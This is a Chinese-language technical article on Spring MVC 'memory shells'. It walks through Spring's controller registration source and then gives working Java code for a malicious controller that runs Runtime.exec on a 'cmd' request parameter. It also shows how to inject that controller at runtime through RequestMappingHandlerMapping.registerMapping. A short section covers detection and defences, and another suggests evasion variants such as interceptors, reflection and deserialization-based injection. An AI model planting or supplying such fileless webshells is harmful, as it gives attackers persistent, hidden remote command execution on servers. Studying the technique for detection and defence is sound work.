内存马第三弹——Controller内存马
字数 1362 2025-08-20 18:18:11
Spring Controller 内存马技术深入解析
一、Spring Controller 基础概念
1.1 Spring Controller 定义与作用
Spring Controller 是 Spring MVC 框架中的核心组件,作为用户请求和业务逻辑之间的桥梁,主要负责:
- 处理由 DispatcherServlet 分发的请求
- 执行相应的业务逻辑
- 将数据传递给视图层
- 生成最终响应
1.2 Controller 实现方式
最常见的实现方式是通过在类上添加 @Controller 注解,Spring 会自动检测并注册该类为 Controller。方法级别使用:
@RequestMapping:通用请求映射@GetMapping:处理 GET 请求@PostMapping:处理 POST 请求
1.3 基础示例
@Controller
public class UserController {
@RequestMapping("/quick")
public String quick() {
System.out.println("quick running.");
return "/WEB-INF/pages/success.jsp";
}
}
二、Spring Controller 注册流程
2.1 整体注册流程
- 识别 Controller:Spring 容器扫描所有类,识别
@Controller或@RequestMapping注解 - 创建请求映射:解析方法上的映射注解,建立 URL 与方法的映射关系
- 存储映射关系:将映射信息存储在
RequestMappingHandlerMapping的内部数据结构中
2.2 源码级分析
2.2.1 初始化阶段
protected void initHandlerMethods() {
String[] var1 = this.getCandidateBeanNames(); // 获取所有bean名称
for(int var3 = 0; var3 < var2; ++var3) {
String beanName = var1[var3];
if (!beanName.startsWith("scopedTarget.")) {
this.processCandidateBean(beanName); // 处理候选bean
}
}
}
2.2.2 候选Bean处理
protected void processCandidateBean(String beanName) {
Class<?> beanType = this.obtainApplicationContext().getType(beanName);
if (beanType != null && this.isHandler(beanType)) { // 检查是否为Handler
this.detectHandlerMethods(beanName); // 检测处理方法
}
}
protected boolean isHandler(Class<?> beanType) {
return AnnotatedElementUtils.hasAnnotation(beanType, Controller.class) ||
AnnotatedElementUtils.hasAnnotation(beanType, RequestMapping.class);
}
2.2.3 方法检测与注册
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = ...; // 获取handler类型
Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (method) -> {
return this.getMappingForMethod(method, userType); // 获取方法映射
});
methods.forEach((method, mapping) -> {
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
this.registerHandlerMethod(handler, invocableMethod, mapping); // 注册方法
});
}
2.2.4 最终注册
protected void registerHandlerMethod(Object handler, Method method, T mapping) {
this.mappingRegistry.register(mapping, handler, method);
}
public void register(T mapping, Object handler, Method method) {
// 线程安全处理
this.readWriteLock.writeLock().lock();
try {
HandlerMethod handlerMethod = createHandlerMethod(handler, method);
this.mappingLookup.put(mapping, handlerMethod); // 存储映射关系
// 其他注册逻辑...
this.registry.put(mapping, new MappingRegistration(...));
} finally {
this.readWriteLock.writeLock().unlock();
}
}
三、内存马实现原理
3.1 核心思路
利用 Spring MVC 的注册机制,动态注册恶意 Controller,无需重启服务即可生效。
3.2 实现步骤
3.2.1 创建恶意类
public class Evil {
public void cmd() {
// 获取当前请求和响应
HttpServletRequest request = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)
(RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取并执行命令
String command = request.getParameter("cmd");
if (command != null) {
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
3.2.2 获取关键对象
// 获取Spring上下文
WebApplicationContext context = (WebApplicationContext)
RequestContextHolder.currentRequestAttributes().getAttribute(
"org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取请求映射处理器
RequestMappingHandlerMapping requestMappingHandlerMapping =
context.getBean(RequestMappingHandlerMapping.class);
3.2.3 构造映射参数
// 获取恶意方法
Method method = InjectedController.class.getMethod("cmd");
// 构造URL路径条件
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
// 构造请求方法条件(空表示支持所有方法)
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
// 构造完整的RequestMapping信息
RequestMappingInfo info = new RequestMappingInfo(
url, condition, null, null, null, null, null);
// 实例化恶意Controller
InjectedController injectedController = new InjectedController();
3.2.4 注册恶意Controller
// 注册映射
requestMappingHandlerMapping.registerMapping(
info, injectedController, method);
四、防御措施
4.1 检测方法
-
静态检测:
- 检查是否有非常规的Controller注册
- 检查RequestMappingHandlerMapping中的异常映射
-
动态检测:
- 监控运行时新增的URL映射
- 检查可疑的请求处理器
4.2 防护建议
- 禁用不必要的HTTP方法
- 实施严格的URL访问控制
- 定期扫描和审查Controller注册表
- 使用安全框架如Spring Security进行防护
- 监控Runtime.exec等危险方法的调用
五、技术要点总结
- 核心机制:利用Spring MVC的HandlerMapping动态注册机制
- 关键类:
RequestMappingHandlerMapping:核心映射处理器RequestMappingInfo:封装映射信息HandlerMethod:封装处理方法
- 持久性:内存马存活于应用生命周期中,重启后失效
- 隐蔽性:无文件落地,仅存在于内存中
六、扩展思考
-
变种可能性:
- 结合其他Spring组件如Interceptor实现更隐蔽的攻击
- 利用反射绕过安全检查
-
高级利用:
- 结合反序列化漏洞实现远程注入
- 实现多级内存驻留
-
检测对抗:
- 通过字节码增强技术检测动态注册
- 使用RASP进行运行时防护
本技术文档详细阐述了Spring Controller内存马的实现原理和技术细节,仅供安全研究使用,请勿用于非法用途。